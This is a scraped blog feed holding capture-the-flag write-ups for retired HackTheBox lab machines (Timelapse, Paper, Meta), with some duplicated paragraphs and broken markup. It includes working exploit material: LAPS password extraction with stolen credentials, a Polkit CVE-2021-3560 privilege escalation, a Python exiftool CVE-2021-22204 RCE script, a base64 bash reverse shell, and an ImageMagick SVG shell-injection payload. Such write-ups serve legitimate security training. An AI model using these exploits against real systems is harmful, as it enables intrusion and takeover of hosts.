*Evil-WinRM* PS C:\Users\legacyy\Documents> $p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\legacyy\Documents> $c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
*Evil-WinRM* PS C:\Users\legacyy\Documents> invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock {Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime}
PSComputerName : localhost
RunspaceId : e7ea358f-6d9c-47d5-b26a-2505848b8b58
DistinguishedName : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
DNSHostName : dc01.timelapse.htb
Enabled : True
ms-Mcs-AdmPwd : 3S5cxvMIgY{D9a2eP%l4}QOs
ms-Mcs-AdmPwdExpirationTime : 133000468494251195
Name : DC01
ObjectClass : computer
ObjectGUID : 6e10b102-6936-41aa-bb98-bed624c9b98f
SamAccountName : DC01$
SID : S-1-5-21-671920749-559770252-3318990721-1000
UserPrincipalName :
<snip>
</snip></code></pre></div>
<p>I was able to connect as <code>administrator</code> using the retreived password and get the root
lag (which was located for an obscure reason on <code>TRX</code> desktop).</p>
<div class="highlight"><pre><span></span><code>└─$ evil-winrm -u administrator -p '3S5cxvMIgY{D9a2eP%l4}QOs' -i 10.129.227.105 -S ./ #thuglegacy
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
timelapse\administrator
*Evil-WinRM* PS C:\Users\Administrator> type ..\TRX\Desktop\root.txt
0af718d3f4fe2658a8e38e07fa8a0a4e
</code></pre></div>
<h1>Wrapping up</h1>
<p>An interesting and easy box, cracking the zip password and just after the PFX file seems a bit redundant.
Having the commands to run a process as another user in the PowerShell history file is nice
as it might avoid some headaches.</p>HTB: Paper2022-06-19T14:55:00+02:002022-06-19T14:55:00+02:00maggicktag:maggick.fr,2022-06-19:/2022/06/htb-paper.html<p><img alt="Paper Card" class="align-left" src="/media/2022.06/paper_card.png" width="262"/></p>
<p>This article is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/432">Paper</a> publish on
February 05, 2022 by
<a href="https://www.hackthebox.com/home/users/profile/92926">secnigma</a>.
This box is rated as an easy machine. It implies a verbose header, a vulnerable
<a href="https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/">WordPress</a>
a rocket chat bot and the
<a href="https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/">PolKit</a> exploit.</p>
<p><img alt="Paper Card" class="align-left" src="/media/2022.06/paper_card.png" width="262"/></p>
<p>This article is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/432">Paper</a> publish on
February 05, 2022 by
<a href="https://www.hackthebox.com/home/users/profile/92926">secnigma</a>.
This box is rated as an easy machine. It implies a verbose header, a vulnerable
<a href="https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/">WordPress</a>
a rocket chat bot and the
<a href="https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/">PolKit</a> exploit.</p>
<h1>Foothold and user</h1>
<h2>Recon</h2>
<p>Let us start as always by a <code>nmap</code> scan. Only port 80 (HTTP), 443 (HTTPS) and 22 (SSH) are
open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.92 scan initiated Fri Feb 11 04:02:34 2022 as: nmap -p- -oN notes.md -sSV 10.129.138.109
Nmap scan report for 10.129.138.109
Host is up (0.014s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
80/tcp open http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
443/tcp open ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Feb 11 04:03:00 2022 -- 1 IP address (1 host up) scanned in 25.78 seconds
</code></pre></div>
<p>The website is a default <code>nginx</code> page.</p>
<p><img alt="website" class="image-process-article-image" src="/media/2022.06/derivatives/article-image/paper_01.png"/></p>
<p>We run a <code>niko</code> on the box and found the header disclosing the <code>office.paper</code> subdomain.</p>
<div class="highlight"><pre><span></span><code>$ nikto -h http://10.129.138.109
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.129.138.109
+ Target Hostname: 10.129.138.109
+ Target Port: 80
+ Start Time: 2022-02-11 04:08:10 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'x-backend-server' found, with contents: office.paper
</code></pre></div>
<p>The new website is a WordPress with a few articles and comments mentioning
sensible data in the drats article.</p>
<p><img alt="Wordpress" class="image-process-article-image" src="/media/2022.06/derivatives/article-image/paper_02.png"/></p>
<p>The different articles and comments show that there might be juicy information
in draft posts and that they are not as secure as <code>prisonmike</code> think.
We run a <code>wpscan</code> on it.</p>
<div class="highlight"><pre><span></span><code>$ wpscan --url http://office.paper/ --api-token 7B19[REDACTED]
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.20
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://office.paper/ [10.129.138.109]
[+] Started: Fri Feb 11 05:04:13 2022
Interesting Finding(s):
[+] Headers
| Interesting Entries:
| - Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
| - X-Powered-By: PHP/7.2.24
| - X-Backend-Server: office.paper
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] WordPress readme found: http://office.paper/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] WordPress version 5.2.3 identified (Insecure, released on 2019-09-05).
| Found By: Rss Generator (Passive Detection)
| - http://office.paper/index.php/feed/, <generator>https://wordpress.org/?v=5.2.3</generator>
| - http://office.paper/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.2.3</generator>
|
| [!] 31 vulnerabilities identified:
|
| [!] Title: WordPress <= 5.2.3 - Stored XSS in Customizer
| Fixed in: 5.2.4
| References:
| - https://wpscan.com/vulnerability/d39a7b84-28b9-4916-a2fc-6192ceb6fa56
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17674
| - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
| - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
|
| [!] Title: WordPress <= 5.2.3 - Unauthenticated View Private/Draft Posts
| Fixed in: 5.2.4
| References:
| - https://wpscan.com/vulnerability/3413b879-785f-4c9f-aa8a-5a4a1d5e0ba2
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17671
| - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
| - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
| - https://github.com/WordPress/WordPress/commit/f82ed753cf00329a5e41f2cb6dc521085136f308
| - https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/
<snip>
</snip></code></pre></div>
<p>The site is vulnerable to <a href="https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/">CVE-2019-17671</a>
allowing unauthenticated users to view
the draft posts. We take a look at <code>prisonmike</code>'s one using the
URL <code>http://office.paper/index.php/author/prisonmike/?static=1</code>. We got a
"secret registration URL" for the rocket chat.</p>
<div class="highlight"><pre><span></span><code><span class="o">></span><span class="n">test</span>
<span class="o">></span>
<span class="o">></span><span class="n">Threat</span><span class="w"> </span><span class="n">Level</span><span class="w"> </span><span class="n">Midnight</span>
<span class="o">></span>
<span class="o">></span><span class="n">A</span><span class="w"> </span><span class="n">MOTION</span><span class="w"> </span><span class="n">PICTURE</span><span class="w"> </span><span class="n">SCREENPLAY</span><span class="p">,</span>
<span class="o">></span><span class="n">WRITTEN</span><span class="w"> </span><span class="n">AND</span><span class="w"> </span><span class="n">DIRECTED</span><span class="w"> </span><span class="n">BY</span>
<span class="o">></span><span class="n">MICHAEL</span><span class="w"> </span><span class="n">SCOTT</span>
<span class="o">></span>
<span class="o">></span><span class="p">[</span><span class="nl">INT:</span><span class="n">DAY</span><span class="p">]</span>
<span class="o">></span>
<span class="o">></span><span class="n">Inside</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">FBI</span><span class="p">,</span><span class="w"> </span><span class="n">Agent</span><span class="w"> </span><span class="n">Michael</span><span class="w"> </span><span class="n">Scarn</span><span class="w"> </span><span class="n">sits</span><span class="w"> </span><span class="n">with</span><span class="w"> </span><span class="n">his</span><span class="w"> </span><span class="n">feet</span><span class="w"> </span><span class="n">up</span><span class="w"> </span><span class="n">on</span><span class="w"> </span><span class="n">his</span><span class="w"> </span><span class="n">desk</span><span class="p">.</span><span class="w"> </span><span class="n">His</span><span class="w"> </span><span class="n">robotic</span><span class="w"> </span><span class="n">butler</span><span class="w"> </span><span class="n">Dwigt</span><span class="err">…</span><span class="p">.</span>
<span class="o">></span>
<span class="o">></span><span class="p">#</span><span class="w"> </span><span class="n">Secret</span><span class="w"> </span><span class="n">Registration</span><span class="w"> </span><span class="n">URL</span><span class="w"> </span><span class="n">of</span><span class="w"> </span><span class="n">new</span><span class="w"> </span><span class="n">Employee</span><span class="w"> </span><span class="n">chat</span><span class="w"> </span><span class="n">system</span>
<span class="o">></span>
<span class="o">></span><span class="nl">http:</span><span class="c1">//chat.office.paper/register/8qozr226AhkCHZdyY</span>
<span class="o">></span>
<span class="o">></span><span class="p">#</span><span class="w"> </span><span class="n">I</span><span class="w"> </span><span class="n">am</span><span class="w"> </span><span class="n">keeping</span><span class="w"> </span><span class="n">this</span><span class="w"> </span><span class="n">draft</span><span class="w"> </span><span class="n">unpublished</span><span class="p">,</span><span class="w"> </span><span class="n">as</span><span class="w"> </span><span class="n">unpublished</span><span class="w"> </span><span class="n">drafts</span><span class="w"> </span><span class="n">cannot</span><span class="w"> </span><span class="n">be</span><span class="w"> </span><span class="n">accessed</span><span class="w"> </span><span class="n">by</span><span class="w"> </span><span class="n">outsiders</span><span class="p">.</span><span class="w"> </span><span class="n">I</span><span class="w"> </span><span class="n">am</span><span class="w"> </span><span class="k">not</span><span class="w"> </span><span class="n">that</span><span class="w"> </span><span class="n">ignorant</span><span class="p">,</span><span class="w"> </span><span class="n">Nick</span><span class="p">.</span>
<span class="o">></span>
<span class="o">></span><span class="p">#</span><span class="w"> </span><span class="n">Also</span><span class="p">,</span><span class="w"> </span><span class="n">stop</span><span class="w"> </span><span class="n">looking</span><span class="w"> </span><span class="n">at</span><span class="w"> </span><span class="n">my</span><span class="w"> </span><span class="n">drafts</span><span class="p">.</span><span class="w"> </span><span class="n">Jeez</span><span class="o">!</span>
</code></pre></div>
<p>We register an account and see that there is bot <code>recyclops</code> that allow to request and view
files. We can start a private discussion with it and query its help menu.</p>
<p>We enumerate the working directory using the <code>file</code> command and discover that
<code>file ../</code> is working.
We enumerate the folder and found the bot home directory containing a scripts
folder with a <code>run.js</code> script inside.</p>
<div class="highlight"><pre><span></span><code><span class="c1">// Description:</span>
<span class="c1">// Runs a command on hubot</span>
<span class="c1">// TOTAL VIOLATION of any and all security!</span>
<span class="c1">//</span>
<span class="c1">// Commands:</span>
<span class="c1">// hubot run <command/> - runs a command on hubot host</span>
<span class="nx">module</span><span class="p">.</span><span class="nx">exports</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kd">function</span><span class="p">(</span><span class="nx">robot</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">robot</span><span class="p">.</span><span class="nx">respond</span><span class="p">(</span><span class="s2">"/RUN (.*)$/i"</span><span class="p">,</span><span class="w"> </span><span class="kd">function</span><span class="p">(</span><span class="nx">msg</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">msg</span><span class="p">);</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">cmd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">msg</span><span class="p">.</span><span class="nx">match</span><span class="p">[</span><span class="mf">1</span><span class="p">];</span>
<span class="w"> </span><span class="nx">msg</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="s2">"Running "</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">cmd</span><span class="p">);</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">exec</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">require</span><span class="p">(</span><span class="s1">'child_process'</span><span class="p">).</span><span class="nx">exec</span><span class="p">;</span>
<span class="w"> </span><span class="nx">exec</span><span class="p">(</span><span class="nx">cmd</span><span class="p">,</span><span class="w"> </span><span class="kd">function</span><span class="p">(</span><span class="nx">error</span><span class="p">,</span><span class="w"> </span><span class="nx">stdout</span><span class="p">,</span><span class="w"> </span><span class="nx">stderr</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">error</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">msg</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">error</span><span class="p">);</span>
<span class="w"> </span><span class="nx">msg</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">stderr</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">msg</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">stdout</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">});</span>
<span class="w"> </span><span class="p">});</span>
<span class="p">};</span>
</code></pre></div>
<p>We use it and run <code>id</code>. We discover that the bot is running as the <code>dwight</code> user
on the box. We can directly grab the user flag but we want a shell as user.</p>
<div class="highlight"><pre><span></span><code>run id
uid=1004(dwight) gid=1004(dwight) groups=1004(dwight)
</code></pre></div>
<p>We upload our SSH key on the box.</p>
<div class="highlight"><pre><span></span><code>run echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCzB[SNIP] kali@kali' >> ~/.ssh/authorized_keys
</code></pre></div>
<p>We can then logging as <code>dwight</code> using SSH and grab the user flag.</p>
<div class="highlight"><pre><span></span><code>$ ssh 10.129.138.109 -ldwight
[dwight@paper ~]$ cat user.txt
48cd829918540bb7a9bec8676f5b0024
</code></pre></div>
<h1>Root</h1>
<p>The root part is a wild ride and I discussed it directly with the box author
<a href="https://www.hackthebox.com/home/users/profile/92926">secnigma</a> over Discord.</p>
<p>When the box was released there was a bug in
<a href="https://github.com/carlospolop/PEASS-ng">linpeas</a>
<a href="https://github.com/carlospolop/PEASS-ng/commit/48ff8b061b1724138313e362eac3cc84cc2dec73">fixed in the first days of the box</a></p>
<p>As you can see in the <a href="https://github.com/carlospolop/PEASS-ng/commit/48ff8b061b1724138313e362eac3cc84cc2dec73">commit</a>
the script always flagged a box using <code>yum</code> as "Vulnerable to CVE-2021-3560"
(Polkit) if we run a
<a href="https://github.com/carlospolop/PEASS-ng">linpeas</a> <a href="https://github.com/carlospolop/PEASS-ng/releases/tag/20220205">release prior to the patch
date on the box</a>
we will see that the box is marked as vulnerable.</p>
<div class="highlight"><pre><span></span><code>[dwight@paper ~]$ sh linpeas.sh
╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version
Sudo version 1.8.29
Invalid configuration value: failovermethod=priority in /etc/yum.repos.d/nodesource-el8.repo; Configuration: OptionBinding with id "failovermethod" does not exist
Invalid configuration value: failovermethod=priority in /etc/yum.repos.d/nodesource-el8.repo; Configuration: OptionBinding with id "failovermethod" does not exist
Modular dependency problems:
Problem 1: conflicting requests
- nothing provides module(perl:5.26) needed by module perl-IO-Socket-SSL:2.066:8030020201222215140:1e4bbb35.x86_64
Problem 2: conflicting requests
- nothing provides module(perl:5.26) needed by module perl-libwww-perl:6.34:8030020201223164340:b967a9a2.x86_64
Vulnerable to CVE-2021-3560
</code></pre></div>
<p>Of course, running a later version does not show the box as vulnerable to the
CVE as <code>yum list installed | grep polkit</code> return an empty string.
Nonetheless the box is vulnerable to it. This information can be found using
directly <code>rmp</code> to list the package and looking at the <code>polkit</code> version (v0.113
to v0.118 are vulnerable).</p>
<div class="highlight"><pre><span></span><code>[dwight@paper ~]$ rpm -qa|grep -i polkit
polkit-0.115-6.el8.x86_64
polkit-pkla-compat-0.1-12.el8.x86_64
polkit-libs-0.115-6.el8.x86_64
</code></pre></div>
<h2>Polkit</h2>
<p><a href="https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/">The Polkit exploit</a>
is largely documented but as it is race condition it need to be performed
quickly. Moreover the box author used a cleanup mechanism that regularly (2
minutes) rewrite the <code>/etc/passwd</code> and <code>/etc/shadow</code> files. The box author
developed a <a href="https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation/">script, publish on github</a>
that automate this process. We can run the <code>poc.sh</code> on the box and <code>switch user</code>
as <code>secnimga</code> and then <code>sudo bash</code> to get a root shell and get the flag.</p>
<div class="highlight"><pre><span></span><code>[dwight@paper ~]$ sh poc.sh -t=0.002 && su secnigma
[!] Username set as : secnigma
[!] Timing set to : 0.002
[!] Force flag not set.
[!] Vulnerability checking is ENABLED!
[!] Starting Vulnerability Checks...
[!] Checking distribution...
[!] Detected Linux distribution as "centos"
[!] Checking if Accountsservice and Gnome-Control-Center is installed
[+] Accounts service and Gnome-Control-Center Installation Found!!
[!] Checking if polkit version is vulnerable
[+] Polkit version appears to be vulnerable!!
[!] Starting exploit...
[!] Inserting Username secnigma...
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required
[+] Inserted Username secnigma with UID 1005!
[!] Inserting password hash...
[!] It looks like the password insertion was succesful!
[!] Try to login as the injected user using sudo - secnigma
[!] When prompted for password, enter your password
[!] If the username is inserted, but the login fails; try running the exploit again.
[!] If the login was succesful,simply enter 'sudo bash' and drop into a root shell!
Password:
[secnigma@paper dwight]$ id
uid=1005(secnigma) gid=1005(secnigma) groups=1005(secnigma),10(wheel)
[secnigma@paper dwight]$ sudo bash
[sudo] password for secnigma:
[root@paper dwight]# cat^C
[root@paper dwight]# cd
[root@paper ~]# cd /root/
[root@paper ~]# cat root.txt
254b5756cdc3dfa2cc7ff4703e76758d
</code></pre></div>
<h1>Wrapping up</h1>
<p>Overall a great realistic box with a lot of interaction and different
vulnerabilities for the user part.</p>HTB: Meta2022-06-12T13:50:00+02:002022-06-12T13:50:00+02:00maggicktag:maggick.fr,2022-06-12:/2022/06/htb-meta.html<p><img alt="Meta card" class="align-left" src="/media/2022.06/meta_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/429">Meta</a> publish on
January 22, 2022 by
<a href="https://www.hackthebox.com/home/users/profile/27582">Nauten</a>.
This box is rated as a medium machine. It implies subdomain enumeration, a
vulnerability in <code>exiftool</code>, another on in <code>ImageMagick</code> and a too permissive
<code>sudo</code> command.</p>
<p><img alt="Meta card" class="align-left" src="/media/2022.06/meta_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/429">Meta</a> publish on
January 22, 2022 by
<a href="https://www.hackthebox.com/home/users/profile/27582">Nauten</a>.
This box is rated as a medium machine. It implies subdomain enumeration, a
vulnerability in <code>exiftool</code>, another on in <code>ImageMagick</code> and a too permissive
<code>sudo</code> command.</p>
<h1>Foothold</h1>
<h2>Recon</h2>
<p>Let us start as always by a <code>nmap</code> scan. Only port 80 (HTTP) and 22 (SSH) are
open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.92 scan initiated Thu Jan 27 08:57:07 2022 as: nmap -sSV -p- -oN notes.md 10.129.169.248
Nmap scan report for 10.129.169.248
Host is up (0.015s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jan 27 08:57:25 2022 -- 1 IP address (1 host up) scanned in 18.03 seconds
</code></pre></div>
<h2>Web</h2>
<p>The main website is a project page talking about a in progress development. We
run a few enumeration tool (<code>nikto</code> <code>ffuf</code>) without finding anything interesting.</p>
<p><img alt="Meta homepage" src="/media/2022.06/meta_01.jpg"/></p>
<p>We run <code>wfuzz</code> in order to enumerate subdomain without having to edit
<code>/etc/hosts/</code> for each of them and found the <code>dev01</code> subdomain.</p>
<div class="highlight"><pre><span></span><code>└─$ wfuzz -c -w subdomains-top1million-5000.txt --sc 200 -H "HOST:FUZZ.artcorp.htb" http://artcorp.htb/
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://artcorp.htb/
Total requests: 4989
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001492: 200 9 L 24 W 247 Ch "dev01 - dev01"
Total time: 8.590615
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 580.7500
</code></pre></div>
<h2>dev01</h2>
<p>The subdomain propose a tool to inspect images metadata.</p>
<p><img alt="dev01 homepage" src="/media/2022.06/meta_02.jpg"/></p>
<p>There is a RCE vulnerability for <code>exiftool</code>:
<a href="https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204-exiftool-rce/">CVE-2021-22204</a></p>
<p>We write a quick script to automate the RCE and get the result:</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">!=</span><span class="mi">2</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"usage: python3 l.py cmd"</span><span class="p">)</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s2">"(metadata </span><span class="se">\"</span><span class="s2">\c${system('"</span><span class="o">+</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">+</span><span class="s2">"')};</span><span class="se">\"</span><span class="s2">)"</span>
<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'payload'</span><span class="p">,</span> <span class="s1">'w'</span><span class="p">)</span>
<span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">f</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">"cp 0.jpg 1.jpg"</span><span class="p">)</span>
<span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s1">'bzz payload payload.bzz'</span><span class="p">)</span>
<span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">"djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz"</span><span class="p">)</span>
<span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">"exiftool -config configfile '-HasselbladExif<=exploit.djvu' ./1.jpg"</span><span class="p">)</span>
<span class="n">files</span> <span class="o">=</span> <span class="p">{</span><span class="s1">'imageUpload'</span><span class="p">:</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'1.jpg'</span><span class="p">,</span><span class="s1">'rb'</span><span class="p">)}</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="s1">'http://dev01.artcorp.htb/metaview/index.php'</span><span class="p">,</span> <span class="n">files</span><span class="o">=</span><span class="n">files</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">text</span><span class="p">[</span><span class="mi">1442</span><span class="p">:</span><span class="o">-</span><span class="mi">896</span><span class="p">])</span>
<span class="n">os</span><span class="o">.</span><span class="n">popen</span><span class="p">(</span><span class="s2">"rm 1.jpg 1.jpg_original payload payload.bzz exploit.djvu"</span><span class="p">)</span>
</code></pre></div>
<p>Using this script and encoding the payload as base64 we can get a reverse
shell on the box:</p>
<p><code>python3 l.py 'echo -n 'YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41NC85MDAxIDA+JjEi' | base64 -d | bash'</code></p>
<h1>User</h1>
<p>We are the <code>www-data</code> user on the box. We run a few enumeration tools
(<code>linpeas</code>) but nothing pop out. We run
<a href="https://github.com/DominicBreuker/pspy">pspy</a> to get the running process and
found that the script <code>/usr/local/bin/convert_images.sh</code> is running periodically
by the user with the UID 1000.</p>
<div class="highlight"><pre><span></span><code>www-data@meta:/tmp$ ./pspy64
./pspy64
done
<snip>
2022/01/28 08:01:44 CMD: UID=33 PID=5978 | bash
2022/01/28 08:01:44 CMD: UID=33 PID=5975 | sh -c echo -n YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41NC85MDAxIDA+JjEi | base64 -d | bash
2022/01/28 08:01:44 CMD: UID=33 PID=5974 | /usr/bin/perl -w /usr/local/bin/exiftool /var/www/dev01.artcorp.htb/metaview/uploads/phpnACkFs.jpg --system:all --exiftool:all -e
2022/01/28 08:01:44 CMD: UID=33 PID=5973 | sh -c exiftool '/var/www/dev01.artcorp.htb/metaview/uploads/phpnACkFs.jpg' --system:all --exiftool:all -e
<snip>
2022/01/28 08:02:01 CMD: UID=0 PID=18991 | /bin/sh -c cp -rp ~/conf/config_neofetch.conf /home/thomas/.config/neofetch/config.conf
2022/01/28 08:02:01 CMD: UID=0 PID=18993 | /usr/sbin/CRON -f
2022/01/28 08:02:01 CMD: UID=0 PID=18994 | /usr/sbin/CRON -f
2022/01/28 08:02:01 CMD: UID=0 PID=18995 | /bin/sh -c rm /tmp/*
2022/01/28 08:02:01 CMD: UID=1000 PID=18996 | /bin/sh -c /usr/local/bin/convert_images.sh
2022/01/28 08:02:01 CMD: UID=1000 PID=18997 | /usr/local/bin/mogrify -format png *.*
2022/01/28 08:02:01 CMD: UID=1000 PID=18998 | pkill mogrify
</snip></snip></code></pre></div>
<p>Looking at the script we see that it convert images using <code>mogrify</code> which is part
of <code>ImageMagick</code>.</p>
<div class="highlight"><pre><span></span><code>www-data@meta:/var/www/dev01.artcorp.htb/metaview$ cat /usr/local/bin/convert_images.sh
<.htb/metaview$ cat /usr/local/bin/convert_images.sh
#!/bin/bash
cd /var/www/dev01.artcorp.htb/convert_images/ && /usr/local/bin/mogrify -format png *.* 2>/dev/null
pkill mogrify
</code></pre></div>
<p>There is also a vulnerability on <code>ImageMagick</code> that allow for
<a href="https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html">shell injection</a>.</p>
<p>We write a new <code>svg</code> image that will echo the result of the <code>id</code> command in a
file and wait for the <code>cron</code> to execute (note that we can also execute the
command as <code>www-data</code> to validate the PoC).</p>
<div class="highlight"><pre><span></span><code><span class="nt"><image< span=""><span class="w"> </span><span class="na">authenticate=</span><span class="s">'ff" `echo $(id)> /dev/shm/test`;"'</span><span class="nt">></span>
<span class="w"> </span><span class="nt"><read< span=""><span class="w"> </span><span class="na">filename=</span><span class="s">"pdf:/etc/passwd"</span><span class="nt">/></span>
<span class="w"> </span><span class="nt"><get< span=""><span class="w"> </span><span class="na">width=</span><span class="s">"base-width"</span><span class="w"> </span><span class="na">height=</span><span class="s">"base-height"</span><span class="w"> </span><span class="nt">/></span>
<span class="w"> </span><span class="nt"><resize< span=""><span class="w"> </span><span class="na">geometry=</span><span class="s">"400x400"</span><span class="w"> </span><span class="nt">/></span>
<span class="w"> </span><span class="nt"><write< span=""><span class="w"> </span><span class="na">filename=</span><span class="s">"test.png"</span><span class="w"> </span><span class="nt">/></span>
<span class="w"> </span><span class="nt"><svg< span=""><span class="w"> </span><span class="na">width=</span><span class="s">"700"</span><span class="w"> </span><span class="na">height=</span><span class="s">"700"</span><span class="w"> </span><span class="na">xmlns=</span><span class="s">"http://www.w3.org/2000/svg"</span><span class="w"> </span><span class="na">xmlns:xlink=</span><span class="s">"http://www.w3.org/1999/xlink"</span><span class="nt">></span>
<span class="w"> </span><span class="nt"><image< span=""><span class="w"> </span><span class="na">xlink:href=</span><span class="s">"msl:rce.svg"</span><span class="w"> </span><span class="na">height=</span><span class="s">"100"</span><span class="w"> </span><span class="na">width=</span><span class="s">"100"</span><span class="nt">/></span>
<span class="w"> </span><span class="nt"></span>
<span class="nt"></span>
</image<></span></svg<></span></write<></span></resize<></span></get<></span></read<></span></image<></span></code></pre></div>
